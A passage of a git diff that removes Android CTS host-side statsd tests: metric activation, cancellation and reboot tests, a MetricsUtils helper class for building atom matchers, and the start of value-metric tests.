-                MetricsUtils.simpleAtomMatcher(metric1MatcherId, metric1MatcherId);
-        AtomMatcher metric2Matcher =
-                MetricsUtils.simpleAtomMatcher(metric2MatcherId, metric2MatcherId);
-        AtomMatcher metric3Matcher =
-                MetricsUtils.simpleAtomMatcher(metric3MatcherId, metric3MatcherId);
-        AtomMatcher act1Matcher =
-                MetricsUtils.simpleAtomMatcher(act1MatcherId, act1MatcherId);
-        AtomMatcher act1CancelMatcher =
-                MetricsUtils.simpleAtomMatcher(act1CancelMatcherId, act1CancelMatcherId);
-        AtomMatcher act2Matcher =
-                MetricsUtils.simpleAtomMatcher(act2MatcherId, act2MatcherId);
-        AtomMatcher act2CancelMatcher =
-                MetricsUtils.simpleAtomMatcher(act2CancelMatcherId, act2CancelMatcherId);
-
-        EventMetric metric1 = EventMetric.newBuilder()
-                .setId(metric1Id)
-                .setWhat(metric1MatcherId)
-                .build();
-
-        EventMetric metric2 = EventMetric.newBuilder()
-                .setId(metric2Id)
-                .setWhat(metric2MatcherId)
-                .build();
-
-        EventMetric metric3 = EventMetric.newBuilder()
-                .setId(metric3Id)
-                .setWhat(metric3MatcherId)
-                .build();
-
-        EventActivation metric1Act1 =
-                MetricsUtils.createEventActivation(act1TtlSecs, act1MatcherId, act1CancelMatcherId)
-                    .setActivationType(ActivationType.ACTIVATE_IMMEDIATELY)
-                    .build();
-
-        EventActivation metric1Act2 =
-                MetricsUtils.createEventActivation(act2TtlSecs, act2MatcherId, act2CancelMatcherId)
-                    .setActivationType(ActivationType.ACTIVATE_ON_BOOT)
-                    .build();
-
-        EventActivation metric2Act1 =
-                MetricsUtils.createEventActivation(act1TtlSecs, act1MatcherId, act1CancelMatcherId)
-                    .setActivationType(ActivationType.ACTIVATE_ON_BOOT)
-                    .build();
-
-        EventActivation metric2Act2 =
-                MetricsUtils.createEventActivation(act2TtlSecs, act2MatcherId, act2CancelMatcherId)
-                    .setActivationType(ActivationType.ACTIVATE_IMMEDIATELY)
-                    .build();
-
-        MetricActivation metric1Activation = MetricActivation.newBuilder()
-                .setMetricId(metric1Id)
-                .addEventActivation(metric1Act1)
-                .addEventActivation(metric1Act2)
-                .build();
-
-        MetricActivation metric2Activation = MetricActivation.newBuilder()
-                .setMetricId(metric2Id)
-                .addEventActivation(metric2Act1)
-                .addEventActivation(metric2Act2)
-                .build();
-
-        return createConfigBuilder()
-                .addAtomMatcher(metric1Matcher)
-                .addAtomMatcher(metric2Matcher)
-                .addAtomMatcher(metric3Matcher)
-                .addAtomMatcher(act1Matcher)
-                .addAtomMatcher(act1CancelMatcher)
-                .addAtomMatcher(act2Matcher)
-                .addAtomMatcher(act2CancelMatcher)
-                .addEventMetric(metric1)
-                .addEventMetric(metric2)
-                .addEventMetric(metric3)
-                .addMetricActivation(metric1Activation)
-                .addMetricActivation(metric2Activation);
-    }
-
-    /**
-     * Metric 1:
-     *     Activation 1:
-     *         - Ttl: 5 seconds
-     *         - Type: IMMEDIATE
-     *     Activation 2:
-     *         - Ttl: 8 seconds
-     *         - Type: ON_BOOT
-     *
-     * Metric 2:
-     *     Activation 1:
-     *         - Ttl: 5 seconds
-     *         - Type: ON_BOOT
-     *     Activation 2:
-     *         - Ttl: 8 seconds
-     *         - Type: IMMEDIATE
-     *
-     * Metric 3: No activations; always active
-     **/
-    public void testCancellation() throws Exception {
-        final int act1TtlSecs = 5;
-        final int act2TtlSecs = 8;
-        uploadConfig(createConfig(act1TtlSecs, act2TtlSecs));
-
-        // Ignored, metric not active.
-        doAppBreadcrumbReported(metric1MatcherId);
-        Thread.sleep(10L);
-
-        // Trigger cancel for already inactive event activation 1.
-        doAppBreadcrumbReported(act1CancelMatcherId);
-        Thread.sleep(10L);
-
-        // Trigger event activation 1.
-        doAppBreadcrumbReported(act1MatcherId);
-        Thread.sleep(10L);
-
-        // First logged event.
-        doAppBreadcrumbReported(metric1MatcherId);
-        Thread.sleep(10L);
-
-        // Second logged event.
-        doAppBreadcrumbReported(metric1MatcherId);
-        Thread.sleep(10L);
-
-        // Cancel event activation 1.
-        doAppBreadcrumbReported(act1CancelMatcherId);
-        Thread.sleep(10L);
-
-        // Ignored, metric not active.
-        doAppBreadcrumbReported(metric1MatcherId);
-        Thread.sleep(10L);
-
-        // Trigger event activation 1.
-        doAppBreadcrumbReported(act1MatcherId);
-        Thread.sleep(10L);
-
-        // Trigger event activation 2.
-        doAppBreadcrumbReported(act2MatcherId);
-        Thread.sleep(10L);
-
-        // Third logged event.
-        doAppBreadcrumbReported(metric1MatcherId);
-        Thread.sleep(10L);
-
-        // Cancel event activation 2.
-        doAppBreadcrumbReported(act2CancelMatcherId);
-        Thread.sleep(10L);
-
-        // Fourth logged event.
-        doAppBreadcrumbReported(metric1MatcherId);
-        Thread.sleep(10L);
-
-        // Expire event activation 1
-        Thread.sleep(act1TtlSecs * 1000);
-
-        // Ignored, metric 1 not active. Activation 1 expired and Activation 2 was cancelled.
-        doAppBreadcrumbReported(metric1MatcherId);
-        Thread.sleep(10L);
-
-        // Trigger event activation 2.
-        doAppBreadcrumbReported(act2MatcherId);
-        Thread.sleep(10L);
-
-        // Metric 1 log ignored, Activation 1 expired and Activation 2 needs reboot to activate.
-        doAppBreadcrumbReported(metric1MatcherId);
-        Thread.sleep(10L);
-
-        // First logged event for Metric 3.
-        doAppBreadcrumbReported(metric3MatcherId);
-        Thread.sleep(10L);
-
-        ConfigMetricsReportList reportList = getReportList();
-        List<ConfigMetricsReport> reports = getSortedConfigMetricsReports(reportList);
-        ConfigMetricsReport report = reports.get(0);
-        verifyMetrics(report, 4, 0, 1);
-    }
-
-    /**
-     * Metric 1:
-     *     Activation 1:
-     *         - Ttl: 100 seconds
-     *         - Type: IMMEDIATE
-     *     Activation 2:
-     *         - Ttl: 200 seconds
-     *         - Type: ON_BOOT
-     *
-     * Metric 2:
-     *     Activation 1:
-     *         - Ttl: 100 seconds
-     *         - Type: ON_BOOT
-     *     Activation 2:
-     *         - Ttl: 200 seconds
-     *         - Type: IMMEDIATE
-     *
-     * Metric 3: No activations; always active
-     **/
-    public void testRestart() throws Exception {
-        final int act1TtlSecs = 200;
-        final int act2TtlSecs = 400;
-        uploadConfig(createConfig(act1TtlSecs, act2TtlSecs));
-
-        // Trigger Metric 1 Activation 1 and Metric 2 Activation 1.
-        // Time remaining:
-        // Metric 1 Activation 1: 200 seconds
-        // Metric 1 Activation 2: 0 seconds
-        // Metric 2 Activation 1: 0 seconds (will activate after boot)
-        // Metric 2 Activation 2: 0 seconds
-        doAppBreadcrumbReported(act1MatcherId);
-        Thread.sleep(10L);
-
-        // First logged event for Metric 1.
-        // Metric 2 event ignored, will activate after boot.
-        // First logged event for Metric 3.
-        logAllMetrics();
-
-        // Time remaining:
-        // Metric 1 Activation 1: 200 seconds
-        // Metric 1 Activation 2: 0 seconds
-        // Metric 2 Activation 1: 200 seconds
-        // Metric 2 Activation 2: 0 seconds
-        rebootDeviceAndWaitUntilReady();
-
-        // Second logged event for Metric 1.
-        // First logged event for Metric 2.
-        // Second logged event for Metric 3.
-        logAllMetrics();
-
-        // Time remaining:
-        // Metric 1 Activation 1: 0 seconds
-        // Metric 1 Activation 2: 0 seconds
-        // Metric 2 Activation 1: 0 seconds
-        // Metric 2 Activation 2: 0 seconds
-        Thread.sleep(act1TtlSecs * 1000L);
-
-        // Metric 1 event ignored, Activation 1 expired.
-        // Metric 2 event ignored, Activation 1 expired.
-        // Third logged event for Metric 3.
-        logAllMetrics();
-
-        // Trigger Metric 1 Activation 2 and Metric 2 Activation 2.
-        // Time remaining:
-        // Metric 1 Activation 1: 0 seconds
-        // Metric 1 Activation 2: 0 seconds (will activate after boot)
-        // Metric 2 Activation 1: 0 seconds
-        // Metric 2 Activation 2: 400 seconds
-        doAppBreadcrumbReported(act2MatcherId);
-        Thread.sleep(10L);
-
-        // Metric 1 event ignored, will activate after boot.
-        // Second logged event for Metric 2.
-        // Fourth logged event for Metric 3.
-        logAllMetrics();
-
-        // Trigger Metric 1 Activation 1 and Metric 2 Activation 1.
-        // Time remaining:
-        // Metric 1 Activation 1: 200 seconds
-        // Metric 1 Activation 2: 0 seconds (will activate after boot)
-        // Metric 2 Activation 1: 0 seconds (will activate after boot)
-        // Metric 2 Activation 2: 400 seconds
-        doAppBreadcrumbReported(act1MatcherId);
-        Thread.sleep(10L);
-
-        // Third logged event for Metric 1.
-        // Third logged event for Metric 2.
-        // Fifth logged event for Metric 3.
-        logAllMetrics();
-
-        // Time remaining:
-        // Metric 1 Activation 1: 100 seconds
-        // Metric 1 Activation 2: 0 seconds (will activate after boot)
-        // Metric 2 Activation 1: 0 seconds (will activate after boot)
-        // Metric 2 Activation 2: 300 seconds
-        Thread.sleep(act1TtlSecs * 1000L / 2);
-
-        // Time remaining:
-        // Metric 1 Activation 1: 100 seconds
-        // Metric 1 Activation 2: 400 seconds
-        // Metric 2 Activation 1: 200 seconds
-        // Metric 2 Activation 2: 300 seconds
-        rebootDeviceAndWaitUntilReady();
-
-        // Fourth logged event for Metric 1.
-        // Fourth logged event for Metric 2.
-        // Sixth logged event for Metric 3.
-        logAllMetrics();
-
-        // Expire Metric 1 Activation 1.
-        // Time remaining:
-        // Metric 1 Activation 1: 0 seconds
-        // Metric 1 Activation 2: 300 seconds
-        // Metric 2 Activation 1: 100 seconds
-        // Metric 2 Activation 2: 200 seconds
-        Thread.sleep(act1TtlSecs * 1000L / 2);
-
-        // Fifth logged event for Metric 1.
-        // Fifth logged event for Metric 2.
-        // Seventh logged event for Metric 3.
-        logAllMetrics();
-
-        // Expire all activations.
-        // Time remaining:
-        // Metric 1 Activation 1: 0 seconds
-        // Metric 1 Activation 2: 0 seconds
-        // Metric 2 Activation 1: 0 seconds
-        // Metric 2 Activation 2: 0 seconds
-        Thread.sleep(act2TtlSecs * 1000L);
-
-        // Metric 1 event ignored.
-        // Metric 2 event ignored.
-        // Eighth logged event for Metric 3.
-        logAllMetrics();
-
-        ConfigMetricsReportList reportList = getReportList();
-        List<ConfigMetricsReport> reports = getSortedConfigMetricsReports(reportList);
-        assertThat(reports).hasSize(3);
-
-        // Report before restart.
-        ConfigMetricsReport report = reports.get(0);
-        verifyMetrics(report, 1, 0, 1);
-
-        // Report after first restart.
-        report = reports.get(1);
-        verifyMetrics(report, 2, 3, 4);
-
-        // Report after second restart.
-        report = reports.get(2);
-        verifyMetrics(report, 2, 2, 3);
-    }
-
-    /**
-     * Metric 1:
-     *     Activation 1:
-     *         - Ttl: 100 seconds
-     *         - Type: IMMEDIATE
-     *     Activation 2:
-     *         - Ttl: 200 seconds
-     *         - Type: ON_BOOT
-     *
-     * Metric 2:
-     *     Activation 1:
-     *         - Ttl: 100 seconds
-     *         - Type: ON_BOOT
-     *     Activation 2:
-     *         - Ttl: 200 seconds
-     *         - Type: IMMEDIATE
-     *
-     * Metric 3: No activations; always active
-     **/
-    public void testMultipleActivations() throws Exception {
-        final int act1TtlSecs = 200;
-        final int act2TtlSecs = 400;
-        uploadConfig(createConfig(act1TtlSecs, act2TtlSecs));
-
-        // Trigger Metric 1 Activation 1 and Metric 2 Activation 1.
-        // Time remaining:
-        // Metric 1 Activation 1: 200 seconds
-        // Metric 1 Activation 2: 0 seconds
-        // Metric 2 Activation 1: 0 seconds (will activate after boot)
-        // Metric 2 Activation 2: 0 seconds
-        doAppBreadcrumbReported(act1MatcherId);
-        Thread.sleep(10L);
-
-        // First logged event for Metric 1.
-        // Metric 2 event ignored, will activate after boot.
-        // First logged event for Metric 3.
-        logAllMetrics();
-
-        // Time remaining:
-        // Metric 1 Activation 1: 100 seconds
-        // Metric 1 Activation 2: 0 seconds
-        // Metric 2 Activation 1: 0 seconds (will activate after boot)
-        // Metric 2 Activation 2: 0 seconds
-        Thread.sleep(act1TtlSecs * 1000L / 2);
-
-        // Second logged event for Metric 1.
-        // Metric 2 event ignored, will activate after boot.
-        // Second logged event for Metric 3.
-        logAllMetrics();
-
-        // Trigger Metric 1 Activation 1 and Metric 2 Activation 1.
-        // Time remaining:
-        // Metric 1 Activation 1: 200 seconds
-        // Metric 1 Activation 2: 0 seconds
-        // Metric 2 Activation 1: 0 seconds (will activate after boot)
-        // Metric 2 Activation 2: 0 seconds
-        doAppBreadcrumbReported(act1MatcherId);
-        Thread.sleep(10L);
-
-        // Third logged event for Metric 1.
-        // Metric 2 event ignored, will activate after boot.
-        // Third logged event for Metric 3.
-        logAllMetrics();
-
-        // Time remaining:
-        // Metric 1 Activation 1: 200 seconds
-        // Metric 1 Activation 2: 0 seconds
-        // Metric 2 Activation 1: 200 seconds
-        // Metric 2 Activation 2: 0 seconds
-        rebootDeviceAndWaitUntilReady();
-
-        // Fourth logged event for Metric 1.
-        // First logged event for Metric 2.
-        // Fourth logged event for Metric 3.
-        logAllMetrics();
-
-        // Trigger Metric 1 Activation 1 and Metric 2 Activation 1.
-        // Time remaining:
-        // Metric 1 Activation 1: 200 seconds
-        // Metric 1 Activation 2: 0 seconds
-        // Metric 2 Activation 1: 200 seconds
-        // Metric 2 Activation 2: 0 seconds
-        doAppBreadcrumbReported(act1MatcherId);
-        Thread.sleep(10L);
-
-        // Fifth logged event for Metric 1.
-        // Second logged event for Metric 2.
-        // Fifth logged event for Metric 3.
-        logAllMetrics();
-
-        // Expire all activations.
-        // Time remaining:
-        // Metric 1 Activation 1: 0 seconds
-        // Metric 1 Activation 2: 0 seconds
-        // Metric 2 Activation 1: 0 seconds
-        // Metric 2 Activation 2: 0 seconds
-        Thread.sleep(act1TtlSecs * 1000L);
-
-        // Metric 1 event ignored.
-        // Metric 2 event ignored.
-        // Sixth logged event for Metric 3.
-        logAllMetrics();
-
-        // Time remaining:
-        // Metric 1 Activation 1: 0 seconds
-        // Metric 1 Activation 2: 0 seconds
-        // Metric 2 Activation 1: 0 seconds
-        // Metric 2 Activation 2: 0 seconds
-        rebootDeviceAndWaitUntilReady();
-
-        // Metric 1 event ignored.
-        // Metric 2 event ignored.
-        // Seventh logged event for Metric 3.
-        logAllMetrics();
-
-        ConfigMetricsReportList reportList = getReportList();
-        List<ConfigMetricsReport> reports = getSortedConfigMetricsReports(reportList);
-        assertThat(reports).hasSize(3);
-
-        // Report before restart.
-        ConfigMetricsReport report = reports.get(0);
-        verifyMetrics(report, 3, 0, 3);
-
-        // Report after first restart.
-        report = reports.get(1);
-        verifyMetrics(report, 2, 2, 3);
-
-        // Report after second restart.
-        report = reports.get(2);
-        verifyMetrics(report, 0, 0, 1);
-    }
-
-    private void logAllMetrics() throws Exception {
-        doAppBreadcrumbReported(metric1MatcherId);
-        Thread.sleep(10L);
-
-        doAppBreadcrumbReported(metric2MatcherId);
-        Thread.sleep(10L);
-
-        doAppBreadcrumbReported(metric3MatcherId);
-        Thread.sleep(10L);
-    }
-
-    private void verifyMetrics(ConfigMetricsReport report, int metric1Count, int metric2Count,
-            int metric3Count) throws Exception {
-        assertThat(report.getMetricsCount()).isEqualTo(3);
-
-        verifyMetric(
-                report.getMetrics(0),   // StatsLogReport
-                1,                      // Metric Id
-                1,                      // Metric what atom matcher label
-                metric1Count            // Data count
-        );
-        verifyMetric(
-                report.getMetrics(1),   // StatsLogReport
-                2,                      // Metric Id
-                2,                      // Metric what atom matcher label
-                metric2Count            // Data count
-        );
-        verifyMetric(
-                report.getMetrics(2),   // StatsLogReport
-                3,                      // Metric Id
-                3,                      // Metric what atom matcher label
-                metric3Count            // Data count
-        );
-    }
-
-    private void verifyMetric(StatsLogReport metricReport, long metricId, int metricMatcherLabel,
-            int dataCount) {
-        LogUtil.CLog.d("Got the following event metric data: " + metricReport.toString());
-        assertThat(metricReport.getMetricId()).isEqualTo(metricId);
-        assertThat(metricReport.hasEventMetrics()).isEqualTo(dataCount > 0);
-
-        StatsLogReport.EventMetricDataWrapper eventData = metricReport.getEventMetrics();
-        assertThat(eventData.getDataCount()).isEqualTo(dataCount);
-        for (int i = 0; i < eventData.getDataCount(); i++) {
-            AppBreadcrumbReported atom = eventData.getData(i).getAtom().getAppBreadcrumbReported();
-            assertThat(atom.getLabel()).isEqualTo(metricMatcherLabel);
-        }
-    }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/metric/MetricsUtils.java b/hostsidetests/statsd/src/android/cts/statsd/metric/MetricsUtils.java
deleted file mode 100644
index 7097587..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/metric/MetricsUtils.java
+++ /dev/null
@@ -1,163 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.metric;
-
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import com.android.internal.os.StatsdConfigProto;
-import com.android.internal.os.StatsdConfigProto.AtomMatcher;
-import com.android.internal.os.StatsdConfigProto.EventActivation;
-import com.android.internal.os.StatsdConfigProto.FieldValueMatcher;
-import com.android.internal.os.StatsdConfigProto.SimpleAtomMatcher;
-import com.android.os.AtomsProto.Atom;
-import com.android.os.AtomsProto.AppBreadcrumbReported;
-import com.google.protobuf.Message;
-import com.google.protobuf.Descriptors.Descriptor;
-import com.google.protobuf.Descriptors.FieldDescriptor;
-
-public class MetricsUtils {
-    public static final long COUNT_METRIC_ID = 3333;
-    public static final long DURATION_METRIC_ID = 4444;
-    public static final long GAUGE_METRIC_ID = 5555;
-    public static final long VALUE_METRIC_ID = 6666;
-
-    public static AtomMatcher.Builder getAtomMatcher(int atomId) {
-        AtomMatcher.Builder builder = AtomMatcher.newBuilder();
-        builder.setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
-                        .setAtomId(atomId));
-        return builder;
-    }
-
-    public static AtomMatcher startAtomMatcher(int id) {
-      return AtomMatcher.newBuilder()
-          .setId(id)
-          .setSimpleAtomMatcher(
-              SimpleAtomMatcher.newBuilder()
-                  .setAtomId(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
-                  .addFieldValueMatcher(FieldValueMatcher.newBuilder()
-                                            .setField(AppBreadcrumbReported.STATE_FIELD_NUMBER)
-                                            .setEqInt(AppBreadcrumbReported.State.START.ordinal())))
-          .build();
-    }
-
-    public static AtomMatcher startAtomMatcherWithLabel(int id, int label) {
-        return appBreadcrumbMatcherWithLabelAndState(id, label, AppBreadcrumbReported.State.START);
-    }
-
-    public static AtomMatcher stopAtomMatcher(int id) {
-      return AtomMatcher.newBuilder()
-          .setId(id)
-          .setSimpleAtomMatcher(
-              SimpleAtomMatcher.newBuilder()
-                  .setAtomId(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
-                  .addFieldValueMatcher(FieldValueMatcher.newBuilder()
-                                            .setField(AppBreadcrumbReported.STATE_FIELD_NUMBER)
-                                            .setEqInt(AppBreadcrumbReported.State.STOP.ordinal())))
-          .build();
-    }
-
-    public static AtomMatcher stopAtomMatcherWithLabel(int id, int label) {
-        return appBreadcrumbMatcherWithLabelAndState(id, label, AppBreadcrumbReported.State.STOP);
-    }
-
-    public static AtomMatcher unspecifiedAtomMatcher(int id) {
-        return AtomMatcher.newBuilder()
-                .setId(id)
-                .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
-                        .setAtomId(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
-                        .addFieldValueMatcher(FieldValueMatcher.newBuilder()
-                                .setField(AppBreadcrumbReported.STATE_FIELD_NUMBER)
-                                .setEqInt(AppBreadcrumbReported.State.UNSPECIFIED.ordinal())))
-                .build();
-    }
-
-    public static AtomMatcher simpleAtomMatcher(int id) {
-      return AtomMatcher.newBuilder()
-          .setId(id)
-          .setSimpleAtomMatcher(
-              SimpleAtomMatcher.newBuilder().setAtomId(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER))
-          .build();
-    }
-
-    public static AtomMatcher appBreadcrumbMatcherWithLabel(int id, int label) {
-        return AtomMatcher.newBuilder()
-                .setId(id)
-                .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
-                        .setAtomId(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
-                        .addFieldValueMatcher(FieldValueMatcher.newBuilder()
-                                .setField(AppBreadcrumbReported.LABEL_FIELD_NUMBER)
-                                .setEqInt(label)))
-                .build();
-    }
-
-    public static AtomMatcher appBreadcrumbMatcherWithLabelAndState(int id, int label,
-            final AppBreadcrumbReported.State state) {
-
-        return AtomMatcher.newBuilder()
-                .setId(id)
-                .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
-                        .setAtomId(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
-                        .addFieldValueMatcher(FieldValueMatcher.newBuilder()
-                                .setField(AppBreadcrumbReported.STATE_FIELD_NUMBER)
-                                .setEqInt(state.ordinal()))
-                        .addFieldValueMatcher(FieldValueMatcher.newBuilder()
-                                .setField(AppBreadcrumbReported.LABEL_FIELD_NUMBER)
-                                .setEqInt(label)))
-                .build();
-    }
-
-    public static AtomMatcher simpleAtomMatcher(int id, int label) {
-      return AtomMatcher.newBuilder()
-          .setId(id)
-          .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
-                  .setAtomId(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
-                  .addFieldValueMatcher(FieldValueMatcher.newBuilder()
-                            .setField(AppBreadcrumbReported.LABEL_FIELD_NUMBER)
-                            .setEqInt(label)
-                  )
-          )
-          .build();
-    }
-
-    public static EventActivation.Builder createEventActivation(int ttlSecs, int matcherId,
-            int cancelMatcherId) {
-        return EventActivation.newBuilder()
-                .setAtomMatcherId(matcherId)
-                .setTtlSeconds(ttlSecs)
-                .setDeactivationAtomMatcherId(cancelMatcherId);
-    }
-
-    public static long StringToId(String str) {
-      return str.hashCode();
-    }
-
-    public static void assertBucketTimePresent(Message bucketInfo) {
-        Descriptor descriptor = bucketInfo.getDescriptorForType();
-        boolean found = false;
-        FieldDescriptor bucketNum = descriptor.findFieldByName("bucket_num");
-        FieldDescriptor startMillis = descriptor.findFieldByName("start_bucket_elapsed_millis");
-        FieldDescriptor endMillis = descriptor.findFieldByName("end_bucket_elapsed_millis");
-        if (bucketNum != null && bucketInfo.hasField(bucketNum)) {
-            found = true;
-        } else if (startMillis != null && bucketInfo.hasField(startMillis) &&
-                   endMillis != null && bucketInfo.hasField(endMillis)) {
-            found = true;
-        }
-        assertWithMessage(
-                "Bucket info did not have either bucket num or start and end elapsed millis"
-        ).that(found).isTrue();
-    }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/metric/ValueMetricsTests.java b/hostsidetests/statsd/src/android/cts/statsd/metric/ValueMetricsTests.java
deleted file mode 100644
index 0cf5bbb..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/metric/ValueMetricsTests.java
+++ /dev/null
@@ -1,465 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.metric;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.cts.statsd.atom.DeviceAtomTestCase;
-
-import com.android.internal.os.StatsdConfigProto.ActivationType;
-import com.android.internal.os.StatsdConfigProto.AtomMatcher;
-import com.android.internal.os.StatsdConfigProto.EventActivation;
-import com.android.internal.os.StatsdConfigProto.FieldFilter;
-import com.android.internal.os.StatsdConfigProto.FieldMatcher;
-import com.android.internal.os.StatsdConfigProto.FieldValueMatcher;
-import com.android.internal.os.StatsdConfigProto.MetricActivation;
-import com.android.internal.os.StatsdConfigProto.Predicate;
-import com.android.internal.os.StatsdConfigProto.SimpleAtomMatcher;
-import com.android.internal.os.StatsdConfigProto.SimplePredicate;
-import com.android.internal.os.StatsdConfigProto.StatsdConfig;
-import com.android.internal.os.StatsdConfigProto.TimeUnit;
-import com.android.internal.os.StatsdConfigProto.ValueMetric;
-
-import com.android.os.AtomsProto.AppBreadcrumbReported;
-import com.android.os.AtomsProto.Atom;
-import com.android.os.AtomsProto.SystemElapsedRealtime;
-import com.android.os.StatsLog.StatsLogReport;
-import com.android.os.StatsLog.StatsLogReport.BucketDropReason;
-import com.android.os.StatsLog.ValueBucketInfo;
-import com.android.os.StatsLog.ValueMetricData;
-
-import com.android.tradefed.log.LogUtil;
-
-public class ValueMetricsTests extends DeviceAtomTestCase {
-  private static final int APP_BREADCRUMB_REPORTED_A_MATCH_START_ID = 0;
-  private static final int APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID = 1;
-  private static final int APP_BREADCRUMB_REPORTED_B_MATCH_START_ID = 2;
-
-  public void testValueMetric() throws Exception {
-    // Add AtomMatcher's.
-    AtomMatcher startAtomMatcher =
-        MetricsUtils.startAtomMatcher(APP_BREADCRUMB_REPORTED_A_MATCH_START_ID);
-    AtomMatcher stopAtomMatcher =
-        MetricsUtils.stopAtomMatcher(APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID);
-    AtomMatcher atomMatcher =
-        MetricsUtils.simpleAtomMatcher(APP_BREADCRUMB_REPORTED_B_MATCH_START_ID);
-
-    StatsdConfig.Builder builder = createConfigBuilder();
-    builder.addAtomMatcher(startAtomMatcher);
-    builder.addAtomMatcher(stopAtomMatcher);
-    builder.addAtomMatcher(atomMatcher);
-
-    // Add ValueMetric.
-    builder.addValueMetric(
-        ValueMetric.newBuilder()
-            .setId(MetricsUtils.VALUE_METRIC_ID)
-            .setWhat(APP_BREADCRUMB_REPORTED_B_MATCH_START_ID)
-            .setBucket(TimeUnit.CTS)
-            .setValueField(FieldMatcher.newBuilder()
-                               .setField(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
-                               .addChild(FieldMatcher.newBuilder().setField(
-                                   AppBreadcrumbReported.LABEL_FIELD_NUMBER)))
-            .setDimensionsInWhat(FieldMatcher.newBuilder()
-                                     .setField(APP_BREADCRUMB_REPORTED_B_MATCH_START_ID)
-                                     .build())
-            .build());
-
-    // Upload config.
-    uploadConfig(builder);
-
-    // Create AppBreadcrumbReported Start/Stop events.
-    doAppBreadcrumbReportedStart(1);
-    Thread.sleep(1000);
-    doAppBreadcrumbReportedStop(1);
-    doAppBreadcrumbReportedStart(3);
-    doAppBreadcrumbReportedStop(3);
-
-    // Wait for the metrics to propagate to statsd.
-    Thread.sleep(1000);
-
-    StatsLogReport metricReport = getStatsLogReport();
-    LogUtil.CLog.d("Got the following value metric data: " + metricReport.toString());
-    assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.VALUE_METRIC_ID);
-    assertThat(metricReport.hasValueMetrics()).isTrue();
-    StatsLogReport.ValueMetricDataWrapper valueData = metricReport.getValueMetrics();
-    assertThat(valueData.getDataCount()).isEqualTo(1);
-
-    int bucketCount = valueData.getData(0).getBucketInfoCount();
-    assertThat(bucketCount).isGreaterThan(1);
-    ValueMetricData data = valueData.getData(0);
-    int totalValue = 0;
-    for (ValueBucketInfo bucketInfo : data.getBucketInfoList()) {
-      MetricsUtils.assertBucketTimePresent(bucketInfo);
-      assertThat(bucketInfo.getValuesCount()).isEqualTo(1);
-      assertThat(bucketInfo.getValues(0).getIndex()).isEqualTo(0);
-      totalValue += (int) bucketInfo.getValues(0).getValueLong();
-    }
-    assertThat(totalValue).isEqualTo(8);
-  }
-
-  // Test value metric with pulled atoms and across multiple buckets
-  public void testPullerAcrossBuckets() throws Exception {
-    // Add AtomMatcher's.
-    final String predicateTrueName = "APP_BREADCRUMB_REPORTED_START";
-    final String predicateFalseName = "APP_BREADCRUMB_REPORTED_STOP";
-    final String predicateName = "APP_BREADCRUMB_REPORTED_IS_STOP";
-
-    AtomMatcher startAtomMatcher =
-            MetricsUtils.startAtomMatcher(predicateTrueName.hashCode());
-    AtomMatcher stopAtomMatcher =
-            MetricsUtils.stopAtomMatcher(predicateFalseName.hashCode());
-
-    StatsdConfig.Builder builder = createConfigBuilder();
-    builder.addAtomMatcher(startAtomMatcher);
-    builder.addAtomMatcher(stopAtomMatcher);
-    builder.addPredicate(Predicate.newBuilder()
-            .setId(predicateName.hashCode())
-            .setSimplePredicate(SimplePredicate.newBuilder()
-                    .setStart(predicateTrueName.hashCode())
-                    .setStop(predicateFalseName.hashCode())
-                    .setCountNesting(false)
-            )
-    );
-
-    final String atomName = "SYSTEM_ELAPSED_REALTIME";
-    SimpleAtomMatcher.Builder sam = SimpleAtomMatcher.newBuilder().setAtomId(Atom.SYSTEM_ELAPSED_REALTIME_FIELD_NUMBER);
-    builder.addAtomMatcher(AtomMatcher.newBuilder()
-            .setId(atomName.hashCode())
-            .setSimpleAtomMatcher(sam));
-
-    // Add ValueMetric.
-    builder.addValueMetric(
-            ValueMetric.newBuilder()
-                    .setId(MetricsUtils.VALUE_METRIC_ID)
-                    .setWhat(atomName.hashCode())
-                    .setBucket(TimeUnit.ONE_MINUTE)
-                    .setValueField(FieldMatcher.newBuilder()
-                            .setField(Atom.SYSTEM_ELAPSED_REALTIME_FIELD_NUMBER)
-                            .addChild(FieldMatcher.newBuilder().setField(
-                                    SystemElapsedRealtime.TIME_MILLIS_FIELD_NUMBER)))
-                    .setCondition(predicateName.hashCode())
-                    .build());
-
-    // Upload config.
